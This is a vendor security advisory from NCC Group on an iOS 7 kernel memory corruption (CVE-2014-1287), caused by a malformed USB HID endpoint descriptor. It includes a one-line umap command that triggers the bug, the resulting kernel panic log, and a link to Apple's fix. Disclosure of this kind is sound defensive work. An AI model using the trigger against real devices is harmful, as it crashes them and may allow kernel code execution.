iOS 7 – Kernel Mode Memory Corruption
~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~. Vulnerability Summary ~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~. Title iOS 7 arbitrary code execution in kernel mode Release Date 14 March 2014 Reference NGS00596 Discoverer Andy Davis Vendor Apple Vendor Reference 600217059 Systems Affected iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later CVE Reference CVE-2014-1287 Risk High Status Fixed ~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~. Resolution Timeline ~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~. Discovered 26 September 2013 Reported 26 September 2013 Released 26 September 2013 Fixed 10 March 2014 Published 14 March 2014 ~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~. Vulnerability Description ~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~. When a specific value is supplied in USB Endpoint descriptor for a HID device the Apple device kernel panics and reboots ~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~. Technical Details ~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~. The bug can be triggered using umap (https://github.com/nccgroup/umap) as follows: sudo python3 ./umap.py -P /dev/ttyUSB0 -s 09:00:00:E:46 bMaxPacketSize = 0xff Incident Identifier: F0856C91-7616-4DAC-9907-C504401D9951 CrashReporter Key: 7ed804add6a0507b6a8ca9625f0bcd14abc6801b Hardware Model: iPhone3,1 Date/Time: 2013-09-26 12:35:46.892 +0100 OS Version: iOS 7.0 (11A465) panic(cpu 0 caller 0x882220a5): kernel abort type 4: fault_type=0x1, fault_addr=0x28 r0: 0x00000003 r1: 0x889e70bd r2: 0x00000012 r3: 0xfffffffe r4: 0x9ae83000 r5: 0x00000003 r6: 0x00000000 r7: 0x87ff3d78 r8: 0x00000000 r9: 0x00000000 r10: 0x00000000 r11: 0x00000001 r12: 0x87ff3d50 sp: 0x87ff3d10 lr: 0x88af52bf pc: 0x88af51f8 cpsr: 0x80000033 fsr: 0x00000005 far: 0x00000028 Debugger message: panic OS version: 11A465 Kernel version: Darwin Kernel Version 14.0.0: Tue Aug 13 21:39:05 PDT 2013; root:xnu-2423.1.73~3/RELEASE_ARM_S5L8930X iBoot version: iBoot-1940.1.75 secure boot?: YES Paniclog version: 1 Kernel slide: 0x0000000008200000 Kernel text base: 0x88201000 Epoch Time: sec usec Boot : 0x52441b69 0x00000000 Sleep : 0x00000000 0x00000000 Wake : 0x00000000 0x00000000 Calendar: 0x52441bb5 0x00056497 Panicked task 0x896f8d48: 12856 pages, 114 threads: pid 0: kernel_task panicked thread: 0x8023de90, backtrace: 0x87ff3a48 lr: 0x88317889 fp: 0x87ff3a7c lr: 0x883181f7 fp: 0x87ff3ab0 lr: 0x882b783b fp: 0x87ff3ad4 lr: 0x882220a5 fp: 0x87ff3ba0 lr: 0x8821c7c4 fp: 0x87ff3d78 lr: 0x88af8687 fp: 0x87ff3da8 lr: 0x8828b5bd fp: 0x87ff3dd0 lr: 0x889d6d29 fp: 0x87ff3df0 lr: 0x889da2f3 fp: 0x87ff3e18 lr: 0x8828b5bd fp: 0x87ff3e40 lr: 0x889da14f fp: 0x87ff3e7c lr: 0x88acb8e7 fp: 0x87ff3eb8 lr: 0x88ac9815 fp: 0x87ff3ed4 lr: 0x884b24d3 fp: 0x87ff3f60 lr: 0x882cf869 fp: 0x87ff3fa8 lr: 0x8821f05c fp: 0x00000000 ~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~. Fix Information ~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~. A patch can be downloaded from the following location: http://support.apple.com/kb/HT1222 ~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~. NCC Group ~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~. Research https://www.nccgroup.com/research Twitter https://www.twitter.com/NCCGroupInfoSec / @NCCGroupInfoSec Open Source https://github.com/nccgroup Blog https://www.nccgroup.com/en/blog/cyber-security/ SlideShare http://www.slideshare.net/NCC_Group/ For more information please visit <a href="http://www.mimecast.com">http://www.mimecast.com<br> This email message has been delivered safely and archived online by Mimecast. |